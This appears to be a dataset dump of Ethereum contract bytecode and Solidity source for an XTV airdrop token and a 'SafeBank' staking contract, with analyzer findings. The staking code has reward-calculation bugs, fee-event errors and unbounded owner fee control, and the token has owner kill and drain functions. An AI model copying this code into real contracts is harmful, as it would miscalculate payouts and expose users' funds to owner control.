fffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b7ba71e725893031f20f97d0f32b2d28a500d542ff1f5fc7a94d572b016b5d0664736f6c63430006060033
{"success": true, "error": null, "results": {}}
10,445
0xa41aa09607ca80ee60d2ce166d4c02a71860e5c5
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function kill() public onlyOwner { selfdestruct(owner); } }/* * Name: Full Fill TV - XTV Network Utils Contract * Author: Allen Sarkisyan * Copyright: 2017 Full Fill TV, Inc. * Version: 1.0.0 */ library XTVNetworkUtils { function verifyXTVSignatureAddress(bytes32 hash, bytes memory sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) { return (address(0)); } // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } bytes32 prefixedHash = keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); // solium-disable-next-line arg-overflow return ecrecover(prefixedHash, v, r, s); } }/* * Name: Full Fill TV Contract * Author: Allen Sarkisyan * Copyright: 2017 Full Fill TV, Inc. * Version: 1.0.0 */ contract XTVNetworkGuard { mapping(address => bool) xtvNetworkEndorser; modifier validateSignature( string memory message, bytes32 verificationHash, bytes memory xtvSignature ) { bytes32 xtvVerificationHash = keccak256(abi.encodePacked(verificationHash, message)); require(verifyXTVSignature(xtvVerificationHash, xtvSignature)); _; } function setXTVNetworkEndorser(address _addr, bool isEndorser) public; function verifyXTVSignature(bytes32 hash, bytes memory sig) public view returns (bool) { address signerAddress = XTVNetworkUtils.verifyXTVSignatureAddress(hash, sig); return xtvNetworkEndorser[signerAddress]; } } /* * Name: Full Fill TV - XTV Token Contract * Author: Allen Sarkisyan * Copyright: 2017 Full Fill TV, Inc. * Version: 1.0.0 */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * Name: Full Fill TV Contract * Author: Allen Sarkisyan * Copyright: 2017 Full Fill TV, Inc. * Version: 1.0.0 */ /* * Name: Full Fill TV Contract * Author: Allen Sarkisyan * Copyright: 2017 Full Fill TV, Inc. * Version: 1.0.0 */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { bool public paused = false; bool public mintingFinished = false; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) internal allowed; uint256 totalSupply_; function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function allowance(address _owner, address spender) public view returns (uint256); function increaseApproval(address spender, uint addedValue) public returns (bool); function decreaseApproval(address spender, uint subtractedValue) public returns (bool); modifier canMint() { require(!mintingFinished); _; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event Buy(address indexed _recipient, uint _amount); event Mint(address indexed to, uint256 amount); event MintFinished(); event Pause(); event Unpause(); } contract ERC20Token is ERC20, Ownable { using SafeMath for uint256; /** ERC20 Interface Methods */ /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract XTVToken is XTVNetworkGuard, ERC20Token { using SafeMath for uint256; string public name = "XTV Network"; string public symbol = "XTV"; uint public decimals = 18; address public fullfillTeamAddress; address public fullfillFounder; address public fullfillAdvisors; address public XTVNetworkContractAddress; bool public airdropActive; uint public startTime; uint public endTime; uint public XTVAirDropped; uint public XTVBurned; mapping(address => bool) public claimed; uint256 public constant INITIAL_SUPPLY = 500000000; uint256 public constant EXPECTED_TOTAL_SUPPLY = 1000000000; uint256 private constant TOKEN_MULTIPLIER = 1000000; // 33% uint256 public constant ALLOC_TEAM = 330 * TOKEN_MULTIPLIER; // 7% uint256 public constant ALLOC_ADVISORS = 70 * TOKEN_MULTIPLIER; // 10% uint256 public constant ALLOC_FOUNDER = 100 * TOKEN_MULTIPLIER; // 50% uint256 public constant ALLOC_AIRDROP = 500 * TOKEN_MULTIPLIER; uint256 public constant AIRDROP_CLAIM_AMMOUNT = 500; modifier isAirdropActive() { require(airdropActive); _; } modifier canClaimTokens() { uint256 remainingSupply = balances[address(0)]; require(!claimed[msg.sender] && remainingSupply > AIRDROP_CLAIM_AMMOUNT); _; } event LogAirdropClaim( address addr, string token, bytes32 verificationHash, bytes xtvSignature ); constructor( address _fullfillTeam, address _fullfillFounder, address _fullfillAdvisors ) public { owner = msg.sender; fullfillTeamAddress = _fullfillTeam; fullfillFounder = _fullfillFounder; fullfillAdvisors = _fullfillAdvisors; airdropActive = true; startTime = block.timestamp; endTime = startTime + 365 days; balances[_fullfillTeam] = ALLOC_TEAM; balances[_fullfillFounder] = ALLOC_FOUNDER; balances[_fullfillAdvisors] = ALLOC_ADVISORS; balances[address(0)] = ALLOC_AIRDROP; totalSupply_ = INITIAL_SUPPLY; } function setXTVNetworkEndorser(address _addr, bool isEndorser) public onlyOwner { xtvNetworkEndorser[_addr] = isEndorser; } // @dev 500 XTV Tokens per claimant function claim( string memory token, bytes32 verificationHash, bytes memory xtvSignature ) public isAirdropActive canClaimTokens validateSignature(token, verificationHash, xtvSignature) returns (uint256) { claimed[msg.sender] = true; balances[address(0)] = balances[address(0)].sub(AIRDROP_CLAIM_AMMOUNT); balances[msg.sender] = balances[msg.sender].add(AIRDROP_CLAIM_AMMOUNT); XTVAirDropped = XTVAirDropped.add(AIRDROP_CLAIM_AMMOUNT); totalSupply_ = totalSupply_.add(AIRDROP_CLAIM_AMMOUNT); emit LogAirdropClaim(msg.sender, token, verificationHash, xtvSignature); return balances[msg.sender]; } // @dev Anyone can call this function // @dev Locks the burned tokens at address 0x00 function burnTokens() public { if (block.timestamp > endTime) { uint256 remaining = balances[address(0)]; airdropActive = false; XTVBurned = remaining; } } function setXTVNetworkContractAddress(address addr) public onlyOwner { XTVNetworkContractAddress = addr; } function setXTVTokenAirdropStatus(bool _status) public onlyOwner { airdropActive = _status; } function drain() public onlyOwner { owner.transfer(address(this).balance); } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
10,446
0x75f6b53a5b8d296a3a4f88a3179db4a45ecc18c8
/** *Submitted for verification at Etherscan.io on 2021-07-21 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.5.9; // ---------------------------------------------------------------------------- // 'SafeBank' Staking smart contract // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface sBANK { function balanceOf(address _owner) view external returns (uint256 balance); // function transfer(address _to, uint256 _value) public returns (bool success); // function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) view external returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // function transfer(address _to, uint256 _amount) external returns (bool success); function transfer(address _to, uint256 _amount) external returns (bool success); function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success); function approve(address _to, uint256 _amount) external returns (bool success); // function balanceOf(address _owner) external view returns (uint256 balance); function _mint(address account, uint256 amount) external ; } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Stake is Owned { using SafeMath for uint256; address contractAddress; uint256 public WeekRewardPercent = 150000000000000; uint256 public TotalStakedOMB = 0; uint256 StakingFee = 10; uint256 UnstakingFee = 10; uint256 private TeamFeesCollector = 0; uint256 private FeesCollectedForJustwap = 0; sBANK public tokenInstance; sBANK public rewardTkn; struct USER{ uint256 stakedAmount; uint256 reward; uint256 creationTime; uint256 TotalOMBRewarded; } mapping(address => USER) public stakers; mapping(address=>uint256) public amounts; event STAKED(address staker, uint256 tokens, uint256 StakingFee); event UNSTAKED(address staker, uint256 tokens, uint256 UnstakingFee); event CLAIMEDREWARD(address staker, uint256 reward); event PERCENTCHANGED(address operator, uint256 percent); event FkTake(uint256 amount); event JkTake(uint256 amount); constructor(address payable tokenAddress, address payable rewardToken) public{ tokenInstance=sBANK(tokenAddress); rewardTkn=sBANK(rewardToken); contractAddress=tokenAddress; } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(tokenInstance.transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account"); uint256 _stakingFee = 0; if(TotalStakedOMB > 0) _stakingFee= (onePercentofTokens(tokens).mul(StakingFee)).div(10); if(amounts[msg.sender]>0) { uint256 time = now - stakers[msg.sender].creationTime; uint256 daysCount = time.div(86400); if(daysCount>0) { uint256 owing = (amounts[msg.sender]).mul(daysCount); stakers[msg.sender].reward = (stakers[msg.sender].reward).add(owing); } } stakers[msg.sender].stakedAmount = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount); stakers[msg.sender].creationTime = now; TotalStakedOMB = TotalStakedOMB.add(tokens.sub(_stakingFee)); uint256 percal = calPercentofTokens(stakers[msg.sender].stakedAmount,WeekRewardPercent); amounts[msg.sender] = percal; TeamFeesCollector = TeamFeesCollector.add(_stakingFee); emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee); } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { uint256 time = now - stakers[msg.sender].creationTime; uint256 daysCount = time.div(86400); if(daysCount > 0) { uint256 owing=0; if(amounts[msg.sender]>0) { uint a = daysCount * 86400; a = time.sub(a); owing = (amounts[msg.sender]).mul(daysCount); if(a!=0) owing = (owing.mul(a)).div(86400); if(stakers[msg.sender].reward >0) { owing = owing.add(stakers[msg.sender].reward); } } else { if(stakers[msg.sender].reward > 0) { owing = stakers[msg.sender].reward; }else{ revert("No reward"); } } require(rewardTkn.transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].TotalOMBRewarded = (stakers[msg.sender].TotalOMBRewarded).add(owing); stakers[msg.sender].creationTime = now; stakers[msg.sender].reward = 0; }else { uint256 owing=0; if(amounts[msg.sender]>0) { owing = ((amounts[msg.sender]).mul(time)).div(time); if(stakers[msg.sender].reward >0) { owing = owing.add(stakers[msg.sender].reward); } } else { if(stakers[msg.sender].reward > 0) { owing = stakers[msg.sender].reward; }else{ revert("No reward"); } } require(rewardTkn.transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].TotalOMBRewarded = (stakers[msg.sender].TotalOMBRewarded).add(owing); stakers[msg.sender].creationTime = now; stakers[msg.sender].reward = 0; } } function calculateReward(address user) public view returns(uint256 result){ uint256 time = block.timestamp - stakers[user].creationTime; uint256 daysCount = time.div(86400); if(daysCount > 0) { uint256 owing=0; if(amounts[user]>0) { uint256 a = daysCount * 86400; a = time.sub(a); owing = (amounts[user]).mul(daysCount); if(a!=0) owing = (owing.mul(a)).div(86400); if(stakers[user].reward >0) { owing = owing.add(stakers[user].reward); } } else { if(stakers[user].reward > 0) { owing = stakers[user].reward; }else{ owing = 0; } } return owing; } else { uint256 owing=0; if(amounts[user]>0) { owing = ((amounts[user]).mul(time)).div(86400); if(stakers[user].reward >0) { owing = owing.add(stakers[user].reward); } } else { if(stakers[user].reward > 0) { owing = stakers[user].reward; }else{ owing = 0; } } return owing; } } function WITHDRAW(uint256 tokens) external { require(stakers[msg.sender].stakedAmount >= tokens && tokens > 0, "Invalid token amount to withdraw"); uint256 _unstakingFee = (onePercentofTokens(tokens).mul(UnstakingFee)).div(10); if(amounts[msg.sender]>0) { uint256 time = now - stakers[msg.sender].creationTime; uint256 daysCount = time.div(86400); if(daysCount>0) { uint256 owing = (amounts[msg.sender]).mul(daysCount); stakers[msg.sender].reward = (stakers[msg.sender].reward).add(owing); } } require(tokenInstance.transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens"); stakers[msg.sender].stakedAmount = stakers[msg.sender].stakedAmount.sub(tokens); if(stakers[msg.sender].stakedAmount == 0) { stakers[msg.sender].creationTime = 0; amounts[msg.sender] = 0; }else{ uint256 percal = calPercentofTokens(stakers[msg.sender].stakedAmount,WeekRewardPercent); amounts[msg.sender] = percal; } TotalStakedOMB = TotalStakedOMB.sub(tokens); FeesCollectedForJustwap =FeesCollectedForJustwap.add(_unstakingFee); emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercentofTokens(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofToken = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofToken; } function calPercentofTokens(uint256 _tokens, uint256 cust) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint256 custPercentofTokens = roundValue.mul(cust).div(100 * 10**uint(2)); return custPercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedOMB(address staker) external view returns(uint256 stakedOMB){ return stakers[staker].stakedAmount; } // ------------------------------------------------------------------------ // Get the SNTM balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourOMBBalance(address user) external view returns(uint256 OMBBalance){ return tokenInstance.balanceOf(user); } function setPercent(uint256 percent) public onlyOwner { if(percent >= 1) { WeekRewardPercent = percent; emit PERCENTCHANGED(msg.sender, percent); } } function OwnerTeamFeesCollectorRead() external view returns(uint256 jKeeper) { return TeamFeesCollector; } function OwnerFeesCollectedForJustwapRead() external view returns(uint256 Fkeeper) { return FeesCollectedForJustwap; } function OwnerFKtake() external onlyOwner{ tokenInstance.transfer(owner,TeamFeesCollector); TeamFeesCollector = 0; emit FkTake(TeamFeesCollector); } function OwnerJustSwaptake() external onlyOwner{ tokenInstance.transfer(owner,FeesCollectedForJustwap); FeesCollectedForJustwap = 0; emit JkTake(FeesCollectedForJustwap); } function FeeModifier(uint256 staking, uint256 Unstaking) external onlyOwner { StakingFee = staking; UnstakingFee = Unstaking; } }
0x608060405234801561001057600080fd5b506004361061016c5760003560e01c806383185e7c116100cd578063b290c13511610081578063ca84d59111610066578063ca84d5911461034d578063d82e39621461036a578063f2fde38b1461039d5761016c565b8063b290c1351461033d578063ba60bcf4146103455761016c565b80638e0d1ed6116100b25780638e0d1ed6146102a95780639168ae72146102b1578063b1efd5141461030a5761016c565b806383185e7c146102995780638da5cb5b146102a15761016c565b80634baf782e11610124578063658030b311610109578063658030b3146102435780636949e43b146102745780637154b8b51461027c5761016c565b80634baf782e1461020857806355a3b2c1146102105761016c565b80632bdd136e116101555780632bdd136e146101db5780632c75bcda146101e357806330478796146102005761016c565b80631eb236861461017157806324f5a2ba146101b6575b600080fd5b6101a46004803603602081101561018757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166103d0565b60408051918252519081900360200190f35b6101d9600480360360408110156101cc57600080fd5b50803590602001356103fc565b005b6101d961042b565b6101d9600480360360208110156101f957600080fd5b503561053c565b6101d96108ec565b6101d96109fd565b6101a46004803603602081101561022657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610f2e565b61024b610f40565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101a4610f5c565b6101d96004803603602081101561029257600080fd5b5035610f62565b6101a4610fd2565b61024b610fd8565b61024b610ff4565b6102e4600480360360208110156102c757600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611010565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6101a46004803603602081101561032057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611037565b6101a46110e0565b6101a46110e6565b6101d96004803603602081101561036357600080fd5b50356110ec565b6101a46004803603602081101561038057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113d6565b6101d9600480360360208110156103b357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611672565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600a60205260409020545b919050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461042057600080fd5b600491909155600555565b60005473ffffffffffffffffffffffffffffffffffffffff16331461044f57600080fd5b60085460008054600754604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9384166004820152602481019290925251919093169263a9059cbb9260448083019360209390929083900390910190829087803b1580156104d557600080fd5b505af11580156104e9573d6000803e3d6000fd5b505050506040513d60208110156104ff57600080fd5b50506000600781905560408051918252517f28a6b389efd3e085335ec0e754e28e680494890456593827ce0460bbee041e2c9181900360200190a1565b336000908152600a6020526040902054811180159061055b5750600081115b6105c657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b60006105f4600a6105e86005546105dc86611706565b9063ffffffff61173d16565b9063ffffffff6117b916565b336000908152600b60205260409020549091501561069b57336000908152600a6020526040812060020154420390610635826201518063ffffffff6117b916565b9050801561069857336000908152600b602052604081205461065d908363ffffffff61173d16565b336000908152600a6020526040902060010154909150610683908263ffffffff6117fb16565b336000908152600a6020526040902060010155505b50505b60085473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb336106ca858563ffffffff61186f16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561073357600080fd5b